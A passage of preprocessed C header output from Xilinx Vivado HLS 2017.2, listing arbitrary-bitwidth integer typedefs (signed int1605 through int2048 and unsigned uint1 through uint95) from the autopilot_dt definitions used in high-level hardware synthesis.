typedef int __attribute__ ((bitwidth(1605))) int1605;
typedef int __attribute__ ((bitwidth(1606))) int1606;
typedef int __attribute__ ((bitwidth(1607))) int1607;
typedef int __attribute__ ((bitwidth(1608))) int1608;
typedef int __attribute__ ((bitwidth(1609))) int1609;
typedef int __attribute__ ((bitwidth(1610))) int1610;
typedef int __attribute__ ((bitwidth(1611))) int1611;
typedef int __attribute__ ((bitwidth(1612))) int1612;
typedef int __attribute__ ((bitwidth(1613))) int1613;
typedef int __attribute__ ((bitwidth(1614))) int1614;
typedef int __attribute__ ((bitwidth(1615))) int1615;
typedef int __attribute__ ((bitwidth(1616))) int1616;
typedef int __attribute__ ((bitwidth(1617))) int1617;
typedef int __attribute__ ((bitwidth(1618))) int1618;
typedef int __attribute__ ((bitwidth(1619))) int1619;
typedef int __attribute__ ((bitwidth(1620))) int1620;
typedef int __attribute__ ((bitwidth(1621))) int1621;
typedef int __attribute__ ((bitwidth(1622))) int1622;
typedef int __attribute__ ((bitwidth(1623))) int1623;
typedef int __attribute__ ((bitwidth(1624))) int1624;
typedef int __attribute__ ((bitwidth(1625))) int1625;
typedef int __attribute__ ((bitwidth(1626))) int1626;
typedef int __attribute__ ((bitwidth(1627))) int1627;
typedef int __attribute__ ((bitwidth(1628))) int1628;
typedef int __attribute__ ((bitwidth(1629))) int1629;
typedef int __attribute__ ((bitwidth(1630))) int1630;
typedef int __attribute__ ((bitwidth(1631))) int1631;
typedef int __attribute__ ((bitwidth(1632))) int1632;
typedef int __attribute__ ((bitwidth(1633))) int1633;
typedef int __attribute__ ((bitwidth(1634))) int1634;
typedef int __attribute__ ((bitwidth(1635))) int1635;
typedef int __attribute__ ((bitwidth(1636))) int1636;
typedef int __attribute__ ((bitwidth(1637))) int1637;
typedef int __attribute__ ((bitwidth(1638))) int1638;
typedef int __attribute__ ((bitwidth(1639))) int1639;
typedef int __attribute__ ((bitwidth(1640))) int1640;
typedef int __attribute__ ((bitwidth(1641))) int1641;
typedef int __attribute__ ((bitwidth(1642))) int1642;
typedef int __attribute__ ((bitwidth(1643))) int1643;
typedef int __attribute__ ((bitwidth(1644))) int1644;
typedef int __attribute__ ((bitwidth(1645))) int1645;
typedef int __attribute__ ((bitwidth(1646))) int1646;
typedef int __attribute__ ((bitwidth(1647))) int1647;
typedef int __attribute__ ((bitwidth(1648))) int1648;
typedef int __attribute__ ((bitwidth(1649))) int1649;
typedef int __attribute__ ((bitwidth(1650))) int1650;
typedef int __attribute__ ((bitwidth(1651))) int1651;
typedef int __attribute__ ((bitwidth(1652))) int1652;
typedef int __attribute__ ((bitwidth(1653))) int1653;
typedef int __attribute__ ((bitwidth(1654))) int1654;
typedef int __attribute__ ((bitwidth(1655))) int1655;
typedef int __attribute__ ((bitwidth(1656))) int1656;
typedef int __attribute__ ((bitwidth(1657))) int1657;
typedef int __attribute__ ((bitwidth(1658))) int1658;
typedef int __attribute__ ((bitwidth(1659))) int1659;
typedef int __attribute__ ((bitwidth(1660))) int1660;
typedef int __attribute__ ((bitwidth(1661))) int1661;
typedef int __attribute__ ((bitwidth(1662))) int1662;
typedef int __attribute__ ((bitwidth(1663))) int1663;
typedef int __attribute__ ((bitwidth(1664))) int1664;
typedef int __attribute__ ((bitwidth(1665))) int1665;
typedef int __attribute__ ((bitwidth(1666))) int1666;
typedef int __attribute__ ((bitwidth(1667))) int1667;
typedef int __attribute__ ((bitwidth(1668))) int1668;
typedef int __attribute__ ((bitwidth(1669))) int1669;
typedef int __attribute__ ((bitwidth(1670))) int1670;
typedef int __attribute__ ((bitwidth(1671))) int1671;
typedef int __attribute__ ((bitwidth(1672))) int1672;
typedef int __attribute__ ((bitwidth(1673))) int1673;
typedef int __attribute__ ((bitwidth(1674))) int1674;
typedef int __attribute__ ((bitwidth(1675))) int1675;
typedef int __attribute__ ((bitwidth(1676))) int1676;
typedef int __attribute__ ((bitwidth(1677))) int1677;
typedef int __attribute__ ((bitwidth(1678))) int1678;
typedef int __attribute__ ((bitwidth(1679))) int1679;
typedef int __attribute__ ((bitwidth(1680))) int1680;
typedef int __attribute__ ((bitwidth(1681))) int1681;
typedef int __attribute__ ((bitwidth(1682))) int1682;
typedef int __attribute__ ((bitwidth(1683))) int1683;
typedef int __attribute__ ((bitwidth(1684))) int1684;
typedef int __attribute__ ((bitwidth(1685))) int1685;
typedef int __attribute__ ((bitwidth(1686))) int1686;
typedef int __attribute__ ((bitwidth(1687))) int1687;
typedef int __attribute__ ((bitwidth(1688))) int1688;
typedef int __attribute__ ((bitwidth(1689))) int1689;
typedef int __attribute__ ((bitwidth(1690))) int1690;
typedef int __attribute__ ((bitwidth(1691))) int1691;
typedef int __attribute__ ((bitwidth(1692))) int1692;
typedef int __attribute__ ((bitwidth(1693))) int1693;
typedef int __attribute__ ((bitwidth(1694))) int1694;
typedef int __attribute__ ((bitwidth(1695))) int1695;
typedef int __attribute__ ((bitwidth(1696))) int1696;
typedef int __attribute__ ((bitwidth(1697))) int1697;
typedef int __attribute__ ((bitwidth(1698))) int1698;
typedef int __attribute__ ((bitwidth(1699))) int1699;
typedef int __attribute__ ((bitwidth(1700))) int1700;
typedef int __attribute__ ((bitwidth(1701))) int1701;
typedef int __attribute__ ((bitwidth(1702))) int1702;
typedef int __attribute__ ((bitwidth(1703))) int1703;
typedef int __attribute__ ((bitwidth(1704))) int1704;
typedef int __attribute__ ((bitwidth(1705))) int1705;
typedef int __attribute__ ((bitwidth(1706))) int1706;
typedef int __attribute__ ((bitwidth(1707))) int1707;
typedef int __attribute__ ((bitwidth(1708))) int1708;
typedef int __attribute__ ((bitwidth(1709))) int1709;
typedef int __attribute__ ((bitwidth(1710))) int1710;
typedef int __attribute__ ((bitwidth(1711))) int1711;
typedef int __attribute__ ((bitwidth(1712))) int1712;
typedef int __attribute__ ((bitwidth(1713))) int1713;
typedef int __attribute__ ((bitwidth(1714))) int1714;
typedef int __attribute__ ((bitwidth(1715))) int1715;
typedef int __attribute__ ((bitwidth(1716))) int1716;
typedef int __attribute__ ((bitwidth(1717))) int1717;
typedef int __attribute__ ((bitwidth(1718))) int1718;
typedef int __attribute__ ((bitwidth(1719))) int1719;
typedef int __attribute__ ((bitwidth(1720))) int1720;
typedef int __attribute__ ((bitwidth(1721))) int1721;
typedef int __attribute__ ((bitwidth(1722))) int1722;
typedef int __attribute__ ((bitwidth(1723))) int1723;
typedef int __attribute__ ((bitwidth(1724))) int1724;
typedef int __attribute__ ((bitwidth(1725))) int1725;
typedef int __attribute__ ((bitwidth(1726))) int1726;
typedef int __attribute__ ((bitwidth(1727))) int1727;
typedef int __attribute__ ((bitwidth(1728))) int1728;
typedef int __attribute__ ((bitwidth(1729))) int1729;
typedef int __attribute__ ((bitwidth(1730))) int1730;
typedef int __attribute__ ((bitwidth(1731))) int1731;
typedef int __attribute__ ((bitwidth(1732))) int1732;
typedef int __attribute__ ((bitwidth(1733))) int1733;
typedef int __attribute__ ((bitwidth(1734))) int1734;
typedef int __attribute__ ((bitwidth(1735))) int1735;
typedef int __attribute__ ((bitwidth(1736))) int1736;
typedef int __attribute__ ((bitwidth(1737))) int1737;
typedef int __attribute__ ((bitwidth(1738))) int1738;
typedef int __attribute__ ((bitwidth(1739))) int1739;
typedef int __attribute__ ((bitwidth(1740))) int1740;
typedef int __attribute__ ((bitwidth(1741))) int1741;
typedef int __attribute__ ((bitwidth(1742))) int1742;
typedef int __attribute__ ((bitwidth(1743))) int1743;
typedef int __attribute__ ((bitwidth(1744))) int1744;
typedef int __attribute__ ((bitwidth(1745))) int1745;
typedef int __attribute__ ((bitwidth(1746))) int1746;
typedef int __attribute__ ((bitwidth(1747))) int1747;
typedef int __attribute__ ((bitwidth(1748))) int1748;
typedef int __attribute__ ((bitwidth(1749))) int1749;
typedef int __attribute__ ((bitwidth(1750))) int1750;
typedef int __attribute__ ((bitwidth(1751))) int1751;
typedef int __attribute__ ((bitwidth(1752))) int1752;
typedef int __attribute__ ((bitwidth(1753))) int1753;
typedef int __attribute__ ((bitwidth(1754))) int1754;
typedef int __attribute__ ((bitwidth(1755))) int1755;
typedef int __attribute__ ((bitwidth(1756))) int1756;
typedef int __attribute__ ((bitwidth(1757))) int1757;
typedef int __attribute__ ((bitwidth(1758))) int1758;
typedef int __attribute__ ((bitwidth(1759))) int1759;
typedef int __attribute__ ((bitwidth(1760))) int1760;
typedef int __attribute__ ((bitwidth(1761))) int1761;
typedef int __attribute__ ((bitwidth(1762))) int1762;
typedef int __attribute__ ((bitwidth(1763))) int1763;
typedef int __attribute__ ((bitwidth(1764))) int1764;
typedef int __attribute__ ((bitwidth(1765))) int1765;
typedef int __attribute__ ((bitwidth(1766))) int1766;
typedef int __attribute__ ((bitwidth(1767))) int1767;
typedef int __attribute__ ((bitwidth(1768))) int1768;
typedef int __attribute__ ((bitwidth(1769))) int1769;
typedef int __attribute__ ((bitwidth(1770))) int1770;
typedef int __attribute__ ((bitwidth(1771))) int1771;
typedef int __attribute__ ((bitwidth(1772))) int1772;
typedef int __attribute__ ((bitwidth(1773))) int1773;
typedef int __attribute__ ((bitwidth(1774))) int1774;
typedef int __attribute__ ((bitwidth(1775))) int1775;
typedef int __attribute__ ((bitwidth(1776))) int1776;
typedef int __attribute__ ((bitwidth(1777))) int1777;
typedef int __attribute__ ((bitwidth(1778))) int1778;
typedef int __attribute__ ((bitwidth(1779))) int1779;
typedef int __attribute__ ((bitwidth(1780))) int1780;
typedef int __attribute__ ((bitwidth(1781))) int1781;
typedef int __attribute__ ((bitwidth(1782))) int1782;
typedef int __attribute__ ((bitwidth(1783))) int1783;
typedef int __attribute__ ((bitwidth(1784))) int1784;
typedef int __attribute__ ((bitwidth(1785))) int1785;
typedef int __attribute__ ((bitwidth(1786))) int1786;
typedef int __attribute__ ((bitwidth(1787))) int1787;
typedef int __attribute__ ((bitwidth(1788))) int1788;
typedef int __attribute__ ((bitwidth(1789))) int1789;
typedef int __attribute__ ((bitwidth(1790))) int1790;
typedef int __attribute__ ((bitwidth(1791))) int1791;
typedef int __attribute__ ((bitwidth(1792))) int1792;
typedef int __attribute__ ((bitwidth(1793))) int1793;
typedef int __attribute__ ((bitwidth(1794))) int1794;
typedef int __attribute__ ((bitwidth(1795))) int1795;
typedef int __attribute__ ((bitwidth(1796))) int1796;
typedef int __attribute__ ((bitwidth(1797))) int1797;
typedef int __attribute__ ((bitwidth(1798))) int1798;
typedef int __attribute__ ((bitwidth(1799))) int1799;
typedef int __attribute__ ((bitwidth(1800))) int1800;
typedef int __attribute__ ((bitwidth(1801))) int1801;
typedef int __attribute__ ((bitwidth(1802))) int1802;
typedef int __attribute__ ((bitwidth(1803))) int1803;
typedef int __attribute__ ((bitwidth(1804))) int1804;
typedef int __attribute__ ((bitwidth(1805))) int1805;
typedef int __attribute__ ((bitwidth(1806))) int1806;
typedef int __attribute__ ((bitwidth(1807))) int1807;
typedef int __attribute__ ((bitwidth(1808))) int1808;
typedef int __attribute__ ((bitwidth(1809))) int1809;
typedef int __attribute__ ((bitwidth(1810))) int1810;
typedef int __attribute__ ((bitwidth(1811))) int1811;
typedef int __attribute__ ((bitwidth(1812))) int1812;
typedef int __attribute__ ((bitwidth(1813))) int1813;
typedef int __attribute__ ((bitwidth(1814))) int1814;
typedef int __attribute__ ((bitwidth(1815))) int1815;
typedef int __attribute__ ((bitwidth(1816))) int1816;
typedef int __attribute__ ((bitwidth(1817))) int1817;
typedef int __attribute__ ((bitwidth(1818))) int1818;
typedef int __attribute__ ((bitwidth(1819))) int1819;
typedef int __attribute__ ((bitwidth(1820))) int1820;
typedef int __attribute__ ((bitwidth(1821))) int1821;
typedef int __attribute__ ((bitwidth(1822))) int1822;
typedef int __attribute__ ((bitwidth(1823))) int1823;
typedef int __attribute__ ((bitwidth(1824))) int1824;
typedef int __attribute__ ((bitwidth(1825))) int1825;
typedef int __attribute__ ((bitwidth(1826))) int1826;
typedef int __attribute__ ((bitwidth(1827))) int1827;
typedef int __attribute__ ((bitwidth(1828))) int1828;
typedef int __attribute__ ((bitwidth(1829))) int1829;
typedef int __attribute__ ((bitwidth(1830))) int1830;
typedef int __attribute__ ((bitwidth(1831))) int1831;
typedef int __attribute__ ((bitwidth(1832))) int1832;
typedef int __attribute__ ((bitwidth(1833))) int1833;
typedef int __attribute__ ((bitwidth(1834))) int1834;
typedef int __attribute__ ((bitwidth(1835))) int1835;
typedef int __attribute__ ((bitwidth(1836))) int1836;
typedef int __attribute__ ((bitwidth(1837))) int1837;
typedef int __attribute__ ((bitwidth(1838))) int1838;
typedef int __attribute__ ((bitwidth(1839))) int1839;
typedef int __attribute__ ((bitwidth(1840))) int1840;
typedef int __attribute__ ((bitwidth(1841))) int1841;
typedef int __attribute__ ((bitwidth(1842))) int1842;
typedef int __attribute__ ((bitwidth(1843))) int1843;
typedef int __attribute__ ((bitwidth(1844))) int1844;
typedef int __attribute__ ((bitwidth(1845))) int1845;
typedef int __attribute__ ((bitwidth(1846))) int1846;
typedef int __attribute__ ((bitwidth(1847))) int1847;
typedef int __attribute__ ((bitwidth(1848))) int1848;
typedef int __attribute__ ((bitwidth(1849))) int1849;
typedef int __attribute__ ((bitwidth(1850))) int1850;
typedef int __attribute__ ((bitwidth(1851))) int1851;
typedef int __attribute__ ((bitwidth(1852))) int1852;
typedef int __attribute__ ((bitwidth(1853))) int1853;
typedef int __attribute__ ((bitwidth(1854))) int1854;
typedef int __attribute__ ((bitwidth(1855))) int1855;
typedef int __attribute__ ((bitwidth(1856))) int1856;
typedef int __attribute__ ((bitwidth(1857))) int1857;
typedef int __attribute__ ((bitwidth(1858))) int1858;
typedef int __attribute__ ((bitwidth(1859))) int1859;
typedef int __attribute__ ((bitwidth(1860))) int1860;
typedef int __attribute__ ((bitwidth(1861))) int1861;
typedef int __attribute__ ((bitwidth(1862))) int1862;
typedef int __attribute__ ((bitwidth(1863))) int1863;
typedef int __attribute__ ((bitwidth(1864))) int1864;
typedef int __attribute__ ((bitwidth(1865))) int1865;
typedef int __attribute__ ((bitwidth(1866))) int1866;
typedef int __attribute__ ((bitwidth(1867))) int1867;
typedef int __attribute__ ((bitwidth(1868))) int1868;
typedef int __attribute__ ((bitwidth(1869))) int1869;
typedef int __attribute__ ((bitwidth(1870))) int1870;
typedef int __attribute__ ((bitwidth(1871))) int1871;
typedef int __attribute__ ((bitwidth(1872))) int1872;
typedef int __attribute__ ((bitwidth(1873))) int1873;
typedef int __attribute__ ((bitwidth(1874))) int1874;
typedef int __attribute__ ((bitwidth(1875))) int1875;
typedef int __attribute__ ((bitwidth(1876))) int1876;
typedef int __attribute__ ((bitwidth(1877))) int1877;
typedef int __attribute__ ((bitwidth(1878))) int1878;
typedef int __attribute__ ((bitwidth(1879))) int1879;
typedef int __attribute__ ((bitwidth(1880))) int1880;
typedef int __attribute__ ((bitwidth(1881))) int1881;
typedef int __attribute__ ((bitwidth(1882))) int1882;
typedef int __attribute__ ((bitwidth(1883))) int1883;
typedef int __attribute__ ((bitwidth(1884))) int1884;
typedef int __attribute__ ((bitwidth(1885))) int1885;
typedef int __attribute__ ((bitwidth(1886))) int1886;
typedef int __attribute__ ((bitwidth(1887))) int1887;
typedef int __attribute__ ((bitwidth(1888))) int1888;
typedef int __attribute__ ((bitwidth(1889))) int1889;
typedef int __attribute__ ((bitwidth(1890))) int1890;
typedef int __attribute__ ((bitwidth(1891))) int1891;
typedef int __attribute__ ((bitwidth(1892))) int1892;
typedef int __attribute__ ((bitwidth(1893))) int1893;
typedef int __attribute__ ((bitwidth(1894))) int1894;
typedef int __attribute__ ((bitwidth(1895))) int1895;
typedef int __attribute__ ((bitwidth(1896))) int1896;
typedef int __attribute__ ((bitwidth(1897))) int1897;
typedef int __attribute__ ((bitwidth(1898))) int1898;
typedef int __attribute__ ((bitwidth(1899))) int1899;
typedef int __attribute__ ((bitwidth(1900))) int1900;
typedef int __attribute__ ((bitwidth(1901))) int1901;
typedef int __attribute__ ((bitwidth(1902))) int1902;
typedef int __attribute__ ((bitwidth(1903))) int1903;
typedef int __attribute__ ((bitwidth(1904))) int1904;
typedef int __attribute__ ((bitwidth(1905))) int1905;
typedef int __attribute__ ((bitwidth(1906))) int1906;
typedef int __attribute__ ((bitwidth(1907))) int1907;
typedef int __attribute__ ((bitwidth(1908))) int1908;
typedef int __attribute__ ((bitwidth(1909))) int1909;
typedef int __attribute__ ((bitwidth(1910))) int1910;
typedef int __attribute__ ((bitwidth(1911))) int1911;
typedef int __attribute__ ((bitwidth(1912))) int1912;
typedef int __attribute__ ((bitwidth(1913))) int1913;
typedef int __attribute__ ((bitwidth(1914))) int1914;
typedef int __attribute__ ((bitwidth(1915))) int1915;
typedef int __attribute__ ((bitwidth(1916))) int1916;
typedef int __attribute__ ((bitwidth(1917))) int1917;
typedef int __attribute__ ((bitwidth(1918))) int1918;
typedef int __attribute__ ((bitwidth(1919))) int1919;
typedef int __attribute__ ((bitwidth(1920))) int1920;
typedef int __attribute__ ((bitwidth(1921))) int1921;
typedef int __attribute__ ((bitwidth(1922))) int1922;
typedef int __attribute__ ((bitwidth(1923))) int1923;
typedef int __attribute__ ((bitwidth(1924))) int1924;
typedef int __attribute__ ((bitwidth(1925))) int1925;
typedef int __attribute__ ((bitwidth(1926))) int1926;
typedef int __attribute__ ((bitwidth(1927))) int1927;
typedef int __attribute__ ((bitwidth(1928))) int1928;
typedef int __attribute__ ((bitwidth(1929))) int1929;
typedef int __attribute__ ((bitwidth(1930))) int1930;
typedef int __attribute__ ((bitwidth(1931))) int1931;
typedef int __attribute__ ((bitwidth(1932))) int1932;
typedef int __attribute__ ((bitwidth(1933))) int1933;
typedef int __attribute__ ((bitwidth(1934))) int1934;
typedef int __attribute__ ((bitwidth(1935))) int1935;
typedef int __attribute__ ((bitwidth(1936))) int1936;
typedef int __attribute__ ((bitwidth(1937))) int1937;
typedef int __attribute__ ((bitwidth(1938))) int1938;
typedef int __attribute__ ((bitwidth(1939))) int1939;
typedef int __attribute__ ((bitwidth(1940))) int1940;
typedef int __attribute__ ((bitwidth(1941))) int1941;
typedef int __attribute__ ((bitwidth(1942))) int1942;
typedef int __attribute__ ((bitwidth(1943))) int1943;
typedef int __attribute__ ((bitwidth(1944))) int1944;
typedef int __attribute__ ((bitwidth(1945))) int1945;
typedef int __attribute__ ((bitwidth(1946))) int1946;
typedef int __attribute__ ((bitwidth(1947))) int1947;
typedef int __attribute__ ((bitwidth(1948))) int1948;
typedef int __attribute__ ((bitwidth(1949))) int1949;
typedef int __attribute__ ((bitwidth(1950))) int1950;
typedef int __attribute__ ((bitwidth(1951))) int1951;
typedef int __attribute__ ((bitwidth(1952))) int1952;
typedef int __attribute__ ((bitwidth(1953))) int1953;
typedef int __attribute__ ((bitwidth(1954))) int1954;
typedef int __attribute__ ((bitwidth(1955))) int1955;
typedef int __attribute__ ((bitwidth(1956))) int1956;
typedef int __attribute__ ((bitwidth(1957))) int1957;
typedef int __attribute__ ((bitwidth(1958))) int1958;
typedef int __attribute__ ((bitwidth(1959))) int1959;
typedef int __attribute__ ((bitwidth(1960))) int1960;
typedef int __attribute__ ((bitwidth(1961))) int1961;
typedef int __attribute__ ((bitwidth(1962))) int1962;
typedef int __attribute__ ((bitwidth(1963))) int1963;
typedef int __attribute__ ((bitwidth(1964))) int1964;
typedef int __attribute__ ((bitwidth(1965))) int1965;
typedef int __attribute__ ((bitwidth(1966))) int1966;
typedef int __attribute__ ((bitwidth(1967))) int1967;
typedef int __attribute__ ((bitwidth(1968))) int1968;
typedef int __attribute__ ((bitwidth(1969))) int1969;
typedef int __attribute__ ((bitwidth(1970))) int1970;
typedef int __attribute__ ((bitwidth(1971))) int1971;
typedef int __attribute__ ((bitwidth(1972))) int1972;
typedef int __attribute__ ((bitwidth(1973))) int1973;
typedef int __attribute__ ((bitwidth(1974))) int1974;
typedef int __attribute__ ((bitwidth(1975))) int1975;
typedef int __attribute__ ((bitwidth(1976))) int1976;
typedef int __attribute__ ((bitwidth(1977))) int1977;
typedef int __attribute__ ((bitwidth(1978))) int1978;
typedef int __attribute__ ((bitwidth(1979))) int1979;
typedef int __attribute__ ((bitwidth(1980))) int1980;
typedef int __attribute__ ((bitwidth(1981))) int1981;
typedef int __attribute__ ((bitwidth(1982))) int1982;
typedef int __attribute__ ((bitwidth(1983))) int1983;
typedef int __attribute__ ((bitwidth(1984))) int1984;
typedef int __attribute__ ((bitwidth(1985))) int1985;
typedef int __attribute__ ((bitwidth(1986))) int1986;
typedef int __attribute__ ((bitwidth(1987))) int1987;
typedef int __attribute__ ((bitwidth(1988))) int1988;
typedef int __attribute__ ((bitwidth(1989))) int1989;
typedef int __attribute__ ((bitwidth(1990))) int1990;
typedef int __attribute__ ((bitwidth(1991))) int1991;
typedef int __attribute__ ((bitwidth(1992))) int1992;
typedef int __attribute__ ((bitwidth(1993))) int1993;
typedef int __attribute__ ((bitwidth(1994))) int1994;
typedef int __attribute__ ((bitwidth(1995))) int1995;
typedef int __attribute__ ((bitwidth(1996))) int1996;
typedef int __attribute__ ((bitwidth(1997))) int1997;
typedef int __attribute__ ((bitwidth(1998))) int1998;
typedef int __attribute__ ((bitwidth(1999))) int1999;
typedef int __attribute__ ((bitwidth(2000))) int2000;
typedef int __attribute__ ((bitwidth(2001))) int2001;
typedef int __attribute__ ((bitwidth(2002))) int2002;
typedef int __attribute__ ((bitwidth(2003))) int2003;
typedef int __attribute__ ((bitwidth(2004))) int2004;
typedef int __attribute__ ((bitwidth(2005))) int2005;
typedef int __attribute__ ((bitwidth(2006))) int2006;
typedef int __attribute__ ((bitwidth(2007))) int2007;
typedef int __attribute__ ((bitwidth(2008))) int2008;
typedef int __attribute__ ((bitwidth(2009))) int2009;
typedef int __attribute__ ((bitwidth(2010))) int2010;
typedef int __attribute__ ((bitwidth(2011))) int2011;
typedef int __attribute__ ((bitwidth(2012))) int2012;
typedef int __attribute__ ((bitwidth(2013))) int2013;
typedef int __attribute__ ((bitwidth(2014))) int2014;
typedef int __attribute__ ((bitwidth(2015))) int2015;
typedef int __attribute__ ((bitwidth(2016))) int2016;
typedef int __attribute__ ((bitwidth(2017))) int2017;
typedef int __attribute__ ((bitwidth(2018))) int2018;
typedef int __attribute__ ((bitwidth(2019))) int2019;
typedef int __attribute__ ((bitwidth(2020))) int2020;
typedef int __attribute__ ((bitwidth(2021))) int2021;
typedef int __attribute__ ((bitwidth(2022))) int2022;
typedef int __attribute__ ((bitwidth(2023))) int2023;
typedef int __attribute__ ((bitwidth(2024))) int2024;
typedef int __attribute__ ((bitwidth(2025))) int2025;
typedef int __attribute__ ((bitwidth(2026))) int2026;
typedef int __attribute__ ((bitwidth(2027))) int2027;
typedef int __attribute__ ((bitwidth(2028))) int2028;
typedef int __attribute__ ((bitwidth(2029))) int2029;
typedef int __attribute__ ((bitwidth(2030))) int2030;
typedef int __attribute__ ((bitwidth(2031))) int2031;
typedef int __attribute__ ((bitwidth(2032))) int2032;
typedef int __attribute__ ((bitwidth(2033))) int2033;
typedef int __attribute__ ((bitwidth(2034))) int2034;
typedef int __attribute__ ((bitwidth(2035))) int2035;
typedef int __attribute__ ((bitwidth(2036))) int2036;
typedef int __attribute__ ((bitwidth(2037))) int2037;
typedef int __attribute__ ((bitwidth(2038))) int2038;
typedef int __attribute__ ((bitwidth(2039))) int2039;
typedef int __attribute__ ((bitwidth(2040))) int2040;
typedef int __attribute__ ((bitwidth(2041))) int2041;
typedef int __attribute__ ((bitwidth(2042))) int2042;
typedef int __attribute__ ((bitwidth(2043))) int2043;
typedef int __attribute__ ((bitwidth(2044))) int2044;
typedef int __attribute__ ((bitwidth(2045))) int2045;
typedef int __attribute__ ((bitwidth(2046))) int2046;
typedef int __attribute__ ((bitwidth(2047))) int2047;
typedef int __attribute__ ((bitwidth(2048))) int2048;
#99 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\etc/autopilot_dt.h" 2
#108 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\etc/autopilot_dt.h"
#1 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\etc/autopilot_dt.def" 1
typedef unsigned int __attribute__ ((bitwidth(1))) uint1;
typedef unsigned int __attribute__ ((bitwidth(2))) uint2;
typedef unsigned int __attribute__ ((bitwidth(3))) uint3;
typedef unsigned int __attribute__ ((bitwidth(4))) uint4;
typedef unsigned int __attribute__ ((bitwidth(5))) uint5;
typedef unsigned int __attribute__ ((bitwidth(6))) uint6;
typedef unsigned int __attribute__ ((bitwidth(7))) uint7;
typedef unsigned int __attribute__ ((bitwidth(8))) uint8;
typedef unsigned int __attribute__ ((bitwidth(9))) uint9;
typedef unsigned int __attribute__ ((bitwidth(10))) uint10;
typedef unsigned int __attribute__ ((bitwidth(11))) uint11;
typedef unsigned int __attribute__ ((bitwidth(12))) uint12;
typedef unsigned int __attribute__ ((bitwidth(13))) uint13;
typedef unsigned int __attribute__ ((bitwidth(14))) uint14;
typedef unsigned int __attribute__ ((bitwidth(15))) uint15;
typedef unsigned int __attribute__ ((bitwidth(16))) uint16;
typedef unsigned int __attribute__ ((bitwidth(17))) uint17;
typedef unsigned int __attribute__ ((bitwidth(18))) uint18;
typedef unsigned int __attribute__ ((bitwidth(19))) uint19;
typedef unsigned int __attribute__ ((bitwidth(20))) uint20;
typedef unsigned int __attribute__ ((bitwidth(21))) uint21;
typedef unsigned int __attribute__ ((bitwidth(22))) uint22;
typedef unsigned int __attribute__ ((bitwidth(23))) uint23;
typedef unsigned int __attribute__ ((bitwidth(24))) uint24;
typedef unsigned int __attribute__ ((bitwidth(25))) uint25;
typedef unsigned int __attribute__ ((bitwidth(26))) uint26;
typedef unsigned int __attribute__ ((bitwidth(27))) uint27;
typedef unsigned int __attribute__ ((bitwidth(28))) uint28;
typedef unsigned int __attribute__ ((bitwidth(29))) uint29;
typedef unsigned int __attribute__ ((bitwidth(30))) uint30;
typedef unsigned int __attribute__ ((bitwidth(31))) uint31;
typedef unsigned int __attribute__ ((bitwidth(32))) uint32;
typedef unsigned int __attribute__ ((bitwidth(33))) uint33;
typedef unsigned int __attribute__ ((bitwidth(34))) uint34;
typedef unsigned int __attribute__ ((bitwidth(35))) uint35;
typedef unsigned int __attribute__ ((bitwidth(36))) uint36;
typedef unsigned int __attribute__ ((bitwidth(37))) uint37;
typedef unsigned int __attribute__ ((bitwidth(38))) uint38;
typedef unsigned int __attribute__ ((bitwidth(39))) uint39;
typedef unsigned int __attribute__ ((bitwidth(40))) uint40;
typedef unsigned int __attribute__ ((bitwidth(41))) uint41;
typedef unsigned int __attribute__ ((bitwidth(42))) uint42;
typedef unsigned int __attribute__ ((bitwidth(43))) uint43;
typedef unsigned int __attribute__ ((bitwidth(44))) uint44;
typedef unsigned int __attribute__ ((bitwidth(45))) uint45;
typedef unsigned int __attribute__ ((bitwidth(46))) uint46;
typedef unsigned int __attribute__ ((bitwidth(47))) uint47;
typedef unsigned int __attribute__ ((bitwidth(48))) uint48;
typedef unsigned int __attribute__ ((bitwidth(49))) uint49;
typedef unsigned int __attribute__ ((bitwidth(50))) uint50;
typedef unsigned int __attribute__ ((bitwidth(51))) uint51;
typedef unsigned int __attribute__ ((bitwidth(52))) uint52;
typedef unsigned int __attribute__ ((bitwidth(53))) uint53;
typedef unsigned int __attribute__ ((bitwidth(54))) uint54;
typedef unsigned int __attribute__ ((bitwidth(55))) uint55;
typedef unsigned int __attribute__ ((bitwidth(56))) uint56;
typedef unsigned int __attribute__ ((bitwidth(57))) uint57;
typedef unsigned int __attribute__ ((bitwidth(58))) uint58;
typedef unsigned int __attribute__ ((bitwidth(59))) uint59;
typedef unsigned int __attribute__ ((bitwidth(60))) uint60;
typedef unsigned int __attribute__ ((bitwidth(61))) uint61;
typedef unsigned int __attribute__ ((bitwidth(62))) uint62;
typedef unsigned int __attribute__ ((bitwidth(63))) uint63;
/*#if AUTOPILOT_VERSION >= 1 */
typedef unsigned int __attribute__ ((bitwidth(65))) uint65;
typedef unsigned int __attribute__ ((bitwidth(66))) uint66;
typedef unsigned int __attribute__ ((bitwidth(67))) uint67;
typedef unsigned int __attribute__ ((bitwidth(68))) uint68;
typedef unsigned int __attribute__ ((bitwidth(69))) uint69;
typedef unsigned int __attribute__ ((bitwidth(70))) uint70;
typedef unsigned int __attribute__ ((bitwidth(71))) uint71;
typedef unsigned int __attribute__ ((bitwidth(72))) uint72;
typedef unsigned int __attribute__ ((bitwidth(73))) uint73;
typedef unsigned int __attribute__ ((bitwidth(74))) uint74;
typedef unsigned int __attribute__ ((bitwidth(75))) uint75;
typedef unsigned int __attribute__ ((bitwidth(76))) uint76;
typedef unsigned int __attribute__ ((bitwidth(77))) uint77;
typedef unsigned int __attribute__ ((bitwidth(78))) uint78;
typedef unsigned int __attribute__ ((bitwidth(79))) uint79;
typedef unsigned int __attribute__ ((bitwidth(80))) uint80;
typedef unsigned int __attribute__ ((bitwidth(81))) uint81;
typedef unsigned int __attribute__ ((bitwidth(82))) uint82;
typedef unsigned int __attribute__ ((bitwidth(83))) uint83;
typedef unsigned int __attribute__ ((bitwidth(84))) uint84;
typedef unsigned int __attribute__ ((bitwidth(85))) uint85;
typedef unsigned int __attribute__ ((bitwidth(86))) uint86;
typedef unsigned int __attribute__ ((bitwidth(87))) uint87;
typedef unsigned int __attribute__ ((bitwidth(88))) uint88;
typedef unsigned int __attribute__ ((bitwidth(89))) uint89;
typedef unsigned int __attribute__ ((bitwidth(90))) uint90;
typedef unsigned int __attribute__ ((bitwidth(91))) uint91;
typedef unsigned int __attribute__ ((bitwidth(92))) uint92;
typedef unsigned int __attribute__ ((bitwidth(93))) uint93;
typedef unsigned int __attribute__ ((bitwidth(94))) uint94;
typedef unsigned int __attribute__ ((bitwidth(95))) uint95;
